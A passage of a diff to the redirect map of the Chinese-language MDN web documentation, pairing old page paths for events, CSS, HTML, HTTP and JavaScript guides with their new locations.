/zh-CN/docs/Web/API/Element/dblclick_event /zh-CN/docs/Web/Events/devicechange /zh-CN/docs/Web/API/MediaDevices/devicechange_event /zh-CN/docs/Web/Events/deviceorientation /zh-CN/docs/Web/API/Window/deviceorientation_event @@ -1762,25 +2125,38 @@ /zh-CN/docs/Web/Events/dragstart /zh-CN/docs/Web/API/Document/dragstart_event /zh-CN/docs/Web/Events/drop /zh-CN/docs/Web/API/Document/drop_event /zh-CN/docs/Web/Events/ended /zh-CN/docs/Web/API/HTMLMediaElement/ended_event +/zh-CN/docs/Web/Events/error /zh-CN/docs/Web/API/Element/error_event +/zh-CN/docs/Web/Events/focus /zh-CN/docs/Web/API/Element/focus_event +/zh-CN/docs/Web/Events/focusout /zh-CN/docs/Web/API/Element/focusout_event /zh-CN/docs/Web/Events/fullscreenchange /zh-CN/docs/Web/API/Document/fullscreenchange_event /zh-CN/docs/Web/Events/gamepadconnected /zh-CN/docs/Web/API/Window/gamepadconnected_event /zh-CN/docs/Web/Events/hashchange /zh-CN/docs/Web/API/Window/hashchange_event +/zh-CN/docs/Web/Events/icecandidate /zh-CN/docs/Web/API/RTCPeerConnection/icecandidate_event +/zh-CN/docs/Web/Events/input /zh-CN/docs/Web/API/HTMLElement/input_event /zh-CN/docs/Web/Events/keypress /zh-CN/docs/Web/API/Document/keypress_event /zh-CN/docs/Web/Events/languagechange /zh-CN/docs/Web/API/Window/languagechange_event +/zh-CN/docs/Web/Events/load /zh-CN/docs/Web/API/Window/load_event /zh-CN/docs/Web/Events/loadeddata /zh-CN/docs/Web/API/HTMLMediaElement/loadeddata_event +/zh-CN/docs/Web/Events/loadend /zh-CN/docs/Web/API/XMLHttpRequest/loadend_event +/zh-CN/docs/Web/Events/loadstart /zh-CN/docs/Web/API/XMLHttpRequest/loadstart_event +/zh-CN/docs/Web/Events/message /zh-CN/docs/Web/API/BroadcastChannel/message_event /zh-CN/docs/Web/Events/mousedown /zh-CN/docs/Web/API/Element/mousedown_event /zh-CN/docs/Web/Events/mouseenter /zh-CN/docs/Web/API/Element/mouseenter_event /zh-CN/docs/Web/Events/mouseleave /zh-CN/docs/Web/API/Element/mouseleave_event /zh-CN/docs/Web/Events/mousemove /zh-CN/docs/Web/API/Element/mousemove_event /zh-CN/docs/Web/Events/mouseout /zh-CN/docs/Web/API/Element/mouseout_event /zh-CN/docs/Web/Events/mouseup /zh-CN/docs/Web/API/Element/mouseup_event +/zh-CN/docs/Web/Events/mousewheel /zh-CN/docs/Web/API/Element/mousewheel_event /zh-CN/docs/Web/Events/offline /zh-CN/docs/Web/API/Window/offline_event /zh-CN/docs/Web/Events/online /zh-CN/docs/Web/API/Window/online_event /zh-CN/docs/Web/Events/orientationchange /zh-CN/docs/Web/API/Window/orientationchange_event +/zh-CN/docs/Web/Events/pageshow /zh-CN/docs/Web/API/Window/pageshow_event +/zh-CN/docs/Web/Events/paste /zh-CN/docs/Web/API/Element/paste_event /zh-CN/docs/Web/Events/play /zh-CN/docs/Web/API/HTMLMediaElement/play_event /zh-CN/docs/Web/Events/playing /zh-CN/docs/Web/API/HTMLMediaElement/playing_event /zh-CN/docs/Web/Events/popstate /zh-CN/docs/Web/API/Window/popstate_event /zh-CN/docs/Web/Events/readystatechange /en-US/docs/Web/API/Document/readystatechange_event +/zh-CN/docs/Web/Events/readystatechange事件 /zh-CN/docs/Web/API/Document/readystatechange_event /zh-CN/docs/Web/Events/reset /zh-CN/docs/Web/API/HTMLFormElement/reset_event /zh-CN/docs/Web/Events/resize /zh-CN/docs/Web/API/Window/resize_event /zh-CN/docs/Web/Events/scroll /zh-CN/docs/Web/API/Document/scroll_event @@ -1794,26 +2170,69 @@ /zh-CN/docs/Web/Events/toggle /zh-CN/docs/Web/API/HTMLDetailsElement/toggle_event /zh-CN/docs/Web/Events/touchcancel /zh-CN/docs/Web/API/Element/touchcancel_event /zh-CN/docs/Web/Events/touchend /zh-CN/docs/Web/API/Document/touchend_event -/zh-CN/docs/Web/Events/touchmove /zh-CN/docs/Web/API/Document/rouchmove_event +/zh-CN/docs/Web/Events/touchmove /zh-CN/docs/Web/API/Document/touchmove_event /zh-CN/docs/Web/Events/touchstart /zh-CN/docs/Web/API/Element/touchstart_event +/zh-CN/docs/Web/Events/transitionend /zh-CN/docs/Web/API/HTMLElement/transitionend_event +/zh-CN/docs/Web/Events/unhandledrejection /zh-CN/docs/Web/API/Window/unhandledrejection_event +/zh-CN/docs/Web/Events/unload /zh-CN/docs/Web/API/Window/unload_event /zh-CN/docs/Web/Events/visibilitychange /zh-CN/docs/Web/API/Document/visibilitychange_event /zh-CN/docs/Web/Events/wheel /zh-CN/docs/Web/API/Element/wheel_event /zh-CN/docs/Web/Events/提交 /zh-CN/docs/Web/API/HTMLFormElement/submit_event /zh-CN/docs/Web/Events/滚轮事件 /zh-CN/docs/Web/API/Element/wheel_event -/zh-CN/docs/Web/Guide/API/DOM/Storage/Storage /zh-CN/docs/Web/Guide/API/DOM/Storage +/zh-CN/docs/Web/Events/进度条 /zh-CN/docs/Web/API/XMLHttpRequest/progress_event +/zh-CN/docs/Web/Guide/API/DOM /zh-CN/docs/conflicting/Web/API/Document_Object_Model_dd00a71ceceac547ab464128db6bd8ef +/zh-CN/docs/Web/Guide/API/DOM/Storage /zh-CN/docs/conflicting/Web/API/Web_Storage_API +/zh-CN/docs/Web/Guide/API/DOM/Storage/Storage /zh-CN/docs/conflicting/Web/API/Web_Storage_API +/zh-CN/docs/Web/Guide/API/DOM/The_structured_clone_algorithm /zh-CN/docs/Web/API/Web_Workers_API/Structured_clone_algorithm /zh-CN/docs/Web/Guide/API/DOM/Whitespace_in_the_DOM /zh-CN/docs/Web/API/Document_Object_Model/Whitespace /zh-CN/docs/Web/Guide/CSS /zh-CN/docs/Learn/CSS -/zh-CN/docs/Web/Guide/CSS/Flexible_boxes /zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes +/zh-CN/docs/Web/Guide/CSS/CSS_Image_Sprites /zh-CN/docs/Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS +/zh-CN/docs/Web/Guide/CSS/CSS基础 /zh-CN/docs/orphaned/Web/Guide/CSS/CSS基础 +/zh-CN/docs/Web/Guide/CSS/Consistent_list_indentation /zh-CN/docs/Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation +/zh-CN/docs/Web/Guide/CSS/Counters /zh-CN/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +/zh-CN/docs/Web/Guide/CSS/Flexible_boxes /zh-CN/docs/conflicting/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox +/zh-CN/docs/Web/Guide/CSS/Getting_started /zh-CN/docs/conflicting/Learn/CSS/First_steps +/zh-CN/docs/Web/Guide/CSS/Getting_started/Boxes /zh-CN/docs/conflicting/Learn/CSS/Building_blocks +/zh-CN/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance +/zh-CN/docs/Web/Guide/CSS/Getting_started/Color /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Values_and_units +/zh-CN/docs/Web/Guide/CSS/Getting_started/Content /zh-CN/docs/Learn/CSS/Howto/Generated_content +/zh-CN/docs/Web/Guide/CSS/Getting_started/How_CSS_works /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works +/zh-CN/docs/Web/Guide/CSS/Getting_started/JavaScript /zh-CN/docs/conflicting/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +/zh-CN/docs/Web/Guide/CSS/Getting_started/Layout /zh-CN/docs/conflicting/Learn/CSS/CSS_layout +/zh-CN/docs/Web/Guide/CSS/Getting_started/Lists /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Styling_lists +/zh-CN/docs/Web/Guide/CSS/Getting_started/Media /zh-CN/docs/Web/Progressive_web_apps/Responsive/Media_types +/zh-CN/docs/Web/Guide/CSS/Getting_started/Readable_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_is_structured +/zh-CN/docs/Web/Guide/CSS/Getting_started/SVG_and_CSS /zh-CN/docs/Web/SVG/Tutorial/SVG_and_CSS +/zh-CN/docs/Web/Guide/CSS/Getting_started/Selectors /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Selectors +/zh-CN/docs/Web/Guide/CSS/Getting_started/Tables /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Styling_tables +/zh-CN/docs/Web/Guide/CSS/Getting_started/Text_styles /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711 +/zh-CN/docs/Web/Guide/CSS/Getting_started/What_is_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209 +/zh-CN/docs/Web/Guide/CSS/Getting_started/Why_use_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 /zh-CN/docs/Web/Guide/CSS/Getting_started/XML数据 /zh-CN/docs/Web/Guide/CSS/Getting_started/XML_data -/zh-CN/docs/Web/Guide/CSS/Getting_started/为何使用CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Why_use_CSS -/zh-CN/docs/Web/Guide/CSS/Getting_started/媒体 /zh-CN/docs/Web/Guide/CSS/Getting_started/Media -/zh-CN/docs/Web/Guide/CSS/Getting_started/布局 /zh-CN/docs/Web/Guide/CSS/Getting_started/Layout +/zh-CN/docs/Web/Guide/CSS/Getting_started/为何使用CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 +/zh-CN/docs/Web/Guide/CSS/Getting_started/媒体 /zh-CN/docs/Web/Progressive_web_apps/Responsive/Media_types +/zh-CN/docs/Web/Guide/CSS/Getting_started/布局 /zh-CN/docs/conflicting/Learn/CSS/CSS_layout +/zh-CN/docs/Web/Guide/CSS/Media_queries /zh-CN/docs/Web/CSS/Media_Queries/Using_media_queries +/zh-CN/docs/Web/Guide/CSS/Scaling_background_images /zh-CN/docs/conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images +/zh-CN/docs/Web/Guide/CSS/Testing_media_queries /zh-CN/docs/Web/CSS/Media_Queries/Testing_media_queries +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Adding_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_and_float /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_context_example_1 /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2 /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3 /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/The_stacking_context /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context /zh-CN/docs/Web/Guide/CSS/Using_CSS_animations /zh-CN/docs/Web/CSS/CSS_Animations/Using_CSS_animations +/zh-CN/docs/Web/Guide/CSS/Using_CSS_gradients /zh-CN/docs/Web/CSS/CSS_Images/Using_CSS_gradients /zh-CN/docs/Web/Guide/CSS/Using_CSS_transforms /zh-CN/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms /zh-CN/docs/Web/Guide/CSS/Using_CSS_transitions /zh-CN/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions -/zh-CN/docs/Web/Guide/CSS/Using_multiple_backgrounds /zh-CN/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds -/zh-CN/docs/Web/Guide/CSS/媒体查询 /zh-CN/docs/Web/Guide/CSS/Media_queries -/zh-CN/docs/Web/Guide/DOM /zh-CN/docs/Web/Guide/API/DOM +/zh-CN/docs/Web/Guide/CSS/Using_multi-column_layouts /zh-CN/docs/Web/CSS/CSS_Columns/Using_multi-column_layouts +/zh-CN/docs/Web/Guide/CSS/Using_multiple_backgrounds /zh-CN/docs/conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +/zh-CN/docs/Web/Guide/CSS/Using_the_:target_selector /zh-CN/docs/Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors +/zh-CN/docs/Web/Guide/CSS/Visual_formatting_model /zh-CN/docs/Web/CSS/Visual_formatting_model +/zh-CN/docs/Web/Guide/CSS/媒体查询 /zh-CN/docs/Web/CSS/Media_Queries/Using_media_queries +/zh-CN/docs/Web/Guide/DOM /zh-CN/docs/conflicting/Web/API/Document_Object_Model_dd00a71ceceac547ab464128db6bd8ef /zh-CN/docs/Web/Guide/DOM/Whitespace_in_the_DOM /zh-CN/docs/Web/API/Document_Object_Model/Whitespace /zh-CN/docs/Web/Guide/Events/Touch_events /zh-CN/docs/Web/API/Touch_events /zh-CN/docs/Web/Guide/Events/事件回调 /zh-CN/docs/Web/Guide/Events/Event_handlers @@ -1833,44 +2252,74 @@ /zh-CN/docs/Web/Guide/HTML/Canvas_tutorial/Pixel_manipulation_with_canvas /zh-CN/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas /zh-CN/docs/Web/Guide/HTML/Canvas_tutorial/Transformations /zh-CN/docs/Web/API/Canvas_API/Tutorial/Transformations /zh-CN/docs/Web/Guide/HTML/Canvas_tutorial/Using_images /zh-CN/docs/Web/API/Canvas_API/Tutorial/Using_images -/zh-CN/docs/Web/Guide/HTML/Forms /zh-CN/docs/Learn/HTML/Forms -/zh-CN/docs/Web/Guide/HTML/Forms/How_to_build_custom_form_widgets /zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets -/zh-CN/docs/Web/Guide/HTML/Forms/My_first_HTML_form /zh-CN/docs/Learn/HTML/Forms/Your_first_HTML_form -/zh-CN/docs/Web/Guide/HTML/Forms/Sending_and_retrieving_form_data /zh-CN/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data -/zh-CN/docs/Web/Guide/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript -/zh-CN/docs/Web/Guide/HTML/Forms/表单入门 /zh-CN/docs/Learn/HTML/Forms/Your_first_HTML_form +/zh-CN/docs/Web/Guide/HTML/Content_Editable /zh-CN/docs/Web/Guide/HTML/Editable_content +/zh-CN/docs/Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla /zh-CN/docs/Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla +/zh-CN/docs/Web/Guide/HTML/Email_links /zh-CN/docs/conflicting/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +/zh-CN/docs/Web/Guide/HTML/Forms /zh-CN/docs/Learn/Forms +/zh-CN/docs/Web/Guide/HTML/Forms/How_to_build_custom_form_widgets /zh-CN/docs/Learn/Forms/How_to_build_custom_form_controls +/zh-CN/docs/Web/Guide/HTML/Forms/My_first_HTML_form /zh-CN/docs/Learn/Forms/Your_first_form +/zh-CN/docs/Web/Guide/HTML/Forms/Sending_and_retrieving_form_data /zh-CN/docs/Learn/Forms/Sending_and_retrieving_form_data +/zh-CN/docs/Web/Guide/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/Forms/Sending_forms_through_JavaScript +/zh-CN/docs/Web/Guide/HTML/Forms/表单入门 /zh-CN/docs/Learn/Forms/Your_first_form +/zh-CN/docs/Web/Guide/HTML/Forms_in_HTML /zh-CN/docs/orphaned/Learn/HTML/Forms/HTML5_updates +/zh-CN/docs/Web/Guide/HTML/HTML /zh-CN/docs/orphaned/Web/Guide/HTML/HTML +/zh-CN/docs/Web/Guide/HTML/HTML5/HTML5_Thematic_Classification /zh-CN/docs/conflicting/Web/Guide/HTML/HTML5 +/zh-CN/docs/Web/Guide/HTML/HTML5/HTML5_element_list /zh-CN/docs/conflicting/Web/HTML/Element /zh-CN/docs/Web/Guide/HTML/Introduction /zh-CN/docs/learn/HTML/Introduction_to_HTML +/zh-CN/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document /zh-CN/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines +/zh-CN/docs/Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages /zh-CN/docs/Learn/HTML/Howto/Author_fast-loading_HTML_pages +/zh-CN/docs/Web/Guide/HTML/Using_HTML5_audio_and_video /zh-CN/docs/conflicting/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content +/zh-CN/docs/Web/Guide/HTML/Using_data_attributes /zh-CN/docs/Learn/HTML/Howto/Use_data_attributes /zh-CN/docs/Web/Guide/Performance/Using_web_workers /zh-CN/docs/Web/API/Web_Workers_API/Using_web_workers /zh-CN/docs/Web/Guide/Using_FormData_Objects /zh-CN/docs/Web/API/FormData/Using_FormData_Objects +/zh-CN/docs/Web/HTML/Attributes/自动完成属性 /zh-CN/docs/Web/HTML/Attributes/autocomplete +/zh-CN/docs/Web/HTML/CORS_settings_attributes /zh-CN/docs/Web/HTML/Attributes/crossorigin /zh-CN/docs/Web/HTML/Canvas /zh-CN/docs/Web/API/Canvas_API /zh-CN/docs/Web/HTML/Canvas/Canvas教程 /zh-CN/docs/Web/API/Canvas_API/Tutorial -/zh-CN/docs/Web/HTML/Canvas/Drawing_graphics_with_canvas /zh-CN/docs/Web/API/Canvas_API/Drawing_graphics_with_canvas +/zh-CN/docs/Web/HTML/Canvas/Drawing_graphics_with_canvas /zh-CN/docs/conflicting/Web/API/Canvas_API/Tutorial /zh-CN/docs/Web/HTML/Canvas/Tutorial /zh-CN/docs/Web/API/Canvas_API/Tutorial -/zh-CN/docs/Web/HTML/Content_Editable /zh-CN/docs/Web/Guide/HTML/Content_Editable +/zh-CN/docs/Web/HTML/Content_Editable /zh-CN/docs/Web/Guide/HTML/Editable_content /zh-CN/docs/Web/HTML/Controlling_spell_checking_in_HTML_forms /en-US/docs/Web/HTML/Global_attributes/spellcheck +/zh-CN/docs/Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video /zh-CN/docs/Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video +/zh-CN/docs/Web/HTML/Element/Input/月份 /zh-CN/docs/Web/HTML/Element/input/month +/zh-CN/docs/Web/HTML/Element/Input/范围 /zh-CN/docs/Web/HTML/Element/input/range /zh-CN/docs/Web/HTML/Element/Video/canplay_event /zh-CN/docs/Web/API/HTMLMediaElement/canplay_event /zh-CN/docs/Web/HTML/Element/Video/canplaythrough_event /zh-CN/docs/Web/API/HTMLMediaElement/canplaythrough_event /zh-CN/docs/Web/HTML/Element/Video/ended_event /zh-CN/docs/Web/API/HTMLMediaElement/ended_event /zh-CN/docs/Web/HTML/Element/Video/loadeddata_event /zh-CN/docs/Web/API/HTMLMediaElement/loadeddata_event +/zh-CN/docs/Web/HTML/Element/command /zh-CN/docs/orphaned/Web/HTML/Element/command +/zh-CN/docs/Web/HTML/Element/element /zh-CN/docs/orphaned/Web/HTML/Element/element /zh-CN/docs/Web/HTML/Element/video/play_event /zh-CN/docs/Web/API/HTMLMediaElement/play_event /zh-CN/docs/Web/HTML/Element/video/timeupdate_event /zh-CN/docs/Web/API/HTMLMediaElement/timeupdate_event /zh-CN/docs/Web/HTML/Element/视频 /zh-CN/docs/Web/HTML/Element/video /zh-CN/docs/Web/HTML/Element/选项 /zh-CN/docs/Web/HTML/Element/option -/zh-CN/docs/Web/HTML/Forms /zh-CN/docs/Learn/HTML/Forms -/zh-CN/docs/Web/HTML/Forms/How_to_build_custom_form_widgets /zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets -/zh-CN/docs/Web/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript -/zh-CN/docs/Web/HTML/Forms/表单入门 /zh-CN/docs/Learn/HTML/Forms/Your_first_HTML_form -/zh-CN/docs/Web/HTML/Forms_in_HTML /zh-CN/docs/Web/Guide/HTML/Forms_in_HTML +/zh-CN/docs/Web/HTML/Focus_management_in_HTML /zh-CN/docs/conflicting/Web/API/Document/hasFocus +/zh-CN/docs/Web/HTML/Forms /zh-CN/docs/Learn/Forms +/zh-CN/docs/Web/HTML/Forms/How_to_build_custom_form_widgets /zh-CN/docs/Learn/Forms/How_to_build_custom_form_controls +/zh-CN/docs/Web/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/Forms/Sending_forms_through_JavaScript +/zh-CN/docs/Web/HTML/Forms/表单入门 /zh-CN/docs/Learn/Forms/Your_first_form +/zh-CN/docs/Web/HTML/Forms_in_HTML /zh-CN/docs/orphaned/Learn/HTML/Forms/HTML5_updates +/zh-CN/docs/Web/HTML/Global_attributes/dropzone /zh-CN/docs/orphaned/Web/HTML/Global_attributes/dropzone +/zh-CN/docs/Web/HTML/Global_attributes/x-ms-加速装置键 /zh-CN/docs/Web/HTML/Global_attributes/x-ms-acceleratorkey +/zh-CN/docs/Web/HTML/Global_attributes/x-ms-格式-检测 /zh-CN/docs/Web/HTML/Global_attributes/x-ms-format-detection /zh-CN/docs/Web/HTML/Global_attributes/摩缺 /zh-CN/docs/Web/HTML/Global_attributes/accesskey /zh-CN/docs/Web/HTML/Inline_elemente /zh-CN/docs/Web/HTML/Inline_elements /zh-CN/docs/Web/HTML/Introduction /zh-CN/docs/learn/HTML/Introduction_to_HTML +/zh-CN/docs/Web/HTML/Optimizing_your_pages_for_speculative_parsing /zh-CN/docs/Glossary/speculative_parsing +/zh-CN/docs/Web/HTML/Supported_media_formats /zh-CN/docs/conflicting/Web/Media/Formats /zh-CN/docs/Web/HTML/全局属性 /zh-CN/docs/Web/HTML/Global_attributes /zh-CN/docs/Web/HTML/内联元素 /zh-CN/docs/Web/HTML/Inline_elements -/zh-CN/docs/Web/HTML/动作 /zh-CN/docs/Web/HTML/Optimizing_your_pages_for_speculative_parsing -/zh-CN/docs/Web/HTML/媒体支持 /zh-CN/docs/Web/HTML/Supported_media_formats +/zh-CN/docs/Web/HTML/动作 /zh-CN/docs/Glossary/speculative_parsing +/zh-CN/docs/Web/HTML/媒体支持 /zh-CN/docs/conflicting/Web/Media/Formats /zh-CN/docs/Web/HTML/属性 /zh-CN/docs/Web/HTML/Attributes +/zh-CN/docs/Web/HTTP/Access_control_CORS /zh-CN/docs/Web/HTTP/CORS /zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types /zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types /zh-CN/docs/Web/HTTP/Basics_of_HTTP/选择_www_或非_www_URL_作为域名 /zh-CN/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs +/zh-CN/docs/Web/HTTP/CORS/Errors/CORS错误允许凭证 /zh-CN/docs/Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials +/zh-CN/docs/Web/HTTP/Caching_FAQ /zh-CN/docs/Web/HTTP/Caching +/zh-CN/docs/Web/HTTP/Content_negotiation/Accept_默认值 /zh-CN/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values +/zh-CN/docs/Web/HTTP/HTTP_Strict_Transport_Security /zh-CN/docs/Web/HTTP/Headers/Strict-Transport-Security +/zh-CN/docs/Web/HTTP/HTTP_response_codes /zh-CN/docs/conflicting/Web/HTTP/Status /zh-CN/docs/Web/HTTP/HTTP请求方法 /zh-CN/docs/Web/HTTP/Methods /zh-CN/docs/Web/HTTP/HTTP请求方法/GET /zh-CN/docs/Web/HTTP/Methods/GET /zh-CN/docs/Web/HTTP/HTTP请求方法/POST /zh-CN/docs/Web/HTTP/Methods/POST @@ -1887,21 +2336,33 @@ /zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy__by_cnvoid/require-sri-for /zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy/require-sri-for /zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy__by_cnvoid/sandbox /zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox /zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy__by_cnvoid/upgrade-insecure-requests /zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests +/zh-CN/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file /zh-CN/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file /zh-CN/docs/Web/HTTP/Response_codes /zh-CN/docs/Web/HTTP/Status /zh-CN/docs/Web/HTTP/Response_codes/100 /zh-CN/docs/Web/HTTP/Status/100 /zh-CN/docs/Web/HTTP/Response_codes/204 /zh-CN/docs/Web/HTTP/Status/204 /zh-CN/docs/Web/HTTP/Response_codes/501 /zh-CN/docs/Web/HTTP/Status/501 +/zh-CN/docs/Web/HTTP/Server-Side_Access_Control /zh-CN/docs/conflicting/Web/HTTP/CORS +/zh-CN/docs/Web/HTTP/X-Frame-Options /zh-CN/docs/Web/HTTP/Headers/X-Frame-Options +/zh-CN/docs/Web/HTTP/data_URIs /zh-CN/docs/Web/HTTP/Basics_of_HTTP/Data_URIs /zh-CN/docs/Web/HTTP/消息 /zh-CN/docs/Web/HTTP/Messages -/zh-CN/docs/Web/HTTP/缓存_FAQ /zh-CN/docs/Web/HTTP/Caching_FAQ +/zh-CN/docs/Web/HTTP/策略特征 /zh-CN/docs/Web/HTTP/Feature_Policy +/zh-CN/docs/Web/HTTP/策略特征/Using_Feature_Policy /zh-CN/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy +/zh-CN/docs/Web/HTTP/缓存_FAQ /zh-CN/docs/Web/HTTP/Caching +/zh-CN/docs/Web/HTTP/跨域资源共享(CORS)_ /zh-CN/docs/orphaned/Web/HTTP/跨域资源共享(CORS)_ /zh-CN/docs/Web/HTTP/重定向 /zh-CN/docs/Web/HTTP/Redirections /zh-CN/docs/Web/JavaScript/ECMAScript_6_support_in_Mozilla /zh-CN/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla /zh-CN/docs/Web/JavaScript/Equality_comparisons_and_when_to_use_them /zh-CN/docs/Web/JavaScript/Equality_comparisons_and_sameness +/zh-CN/docs/Web/JavaScript/Getting_Started /zh-CN/docs/conflicting/Learn/Getting_started_with_the_web/JavaScript_basics +/zh-CN/docs/Web/JavaScript/Guide/About /zh-CN/docs/conflicting/Web/JavaScript/Guide/Introduction /zh-CN/docs/Web/JavaScript/Guide/Closures /zh-CN/docs/Web/JavaScript/Closures /zh-CN/docs/Web/JavaScript/Guide/Equality_comparisons_and_when_to_use_them /zh-CN/docs/Web/JavaScript/Equality_comparisons_and_sameness /zh-CN/docs/Web/JavaScript/Guide/EventLoop /zh-CN/docs/Web/JavaScript/EventLoop /zh-CN/docs/Web/JavaScript/Guide/Inheritance_Revisited /zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain /zh-CN/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain /zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain +/zh-CN/docs/Web/JavaScript/Guide/JavaScript_Overview /zh-CN/docs/conflicting/Web/JavaScript/Guide/Introduction_6f341ba6db4b060ccbd8dce4a0d5214b /zh-CN/docs/Web/JavaScript/Guide/Predefined_Core_Objects /zh-CN/docs/Web/JavaScript/Guide +/zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries /zh-CN/docs/conflicting/Web/JavaScript/Guide/Regular_Expressions/Assertions +/zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions/量词 /zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers /zh-CN/docs/Web/JavaScript/Guide/Sameness /zh-CN/docs/Web/JavaScript/Equality_comparisons_and_sameness /zh-CN/docs/Web/JavaScript/Guide/Statements /zh-CN/docs/Web/JavaScript/Guide/Control_flow_and_error_handling /zh-CN/docs/Web/JavaScript/Guide/The_Iterator_protocol /zh-CN/docs/Web/JavaScript/Reference/Iteration_protocols @@ -1909,6 +2370,8 @@ /zh-CN/docs/Web/JavaScript/Guide/iterable /zh-CN/docs/Web/JavaScript/Reference/Iteration_protocols /zh-CN/docs/Web/JavaScript/Guide/介绍 /zh-CN/docs/Web/JavaScript/Guide/Introduction /zh-CN/docs/Web/JavaScript/Guide/可迭代对象 /zh-CN/docs/Web/JavaScript/Reference/Iteration_protocols +/zh-CN/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript /zh-CN/docs/conflicting/Learn/JavaScript/Objects +/zh-CN/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript /zh-CN/docs/Web/XPath/Introduction_to_using_XPath_in_JavaScript /zh-CN/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_7_support_in_Mozilla /zh-CN/docs/Web/JavaScript/ECMAScript_7_support_in_Mozilla /zh-CN/docs/Web/JavaScript/Reference/Array /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array /zh-CN/docs/Web/JavaScript/Reference/Array/Reduce 